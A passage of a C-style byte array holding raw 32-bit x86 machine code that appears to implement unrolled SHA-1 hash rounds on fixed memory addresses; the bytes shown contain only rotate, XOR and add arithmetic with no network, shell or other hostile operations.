0x03, 0x05, 0x44, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x48, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C,\n0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x50, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x54, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x58, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x60, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x64, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x68, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x70, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x74, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xDC, 0xBC, 0x1B, 0x8F, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x78, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x80, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x84, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x88, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0\nx40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x90, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x94, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x98, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 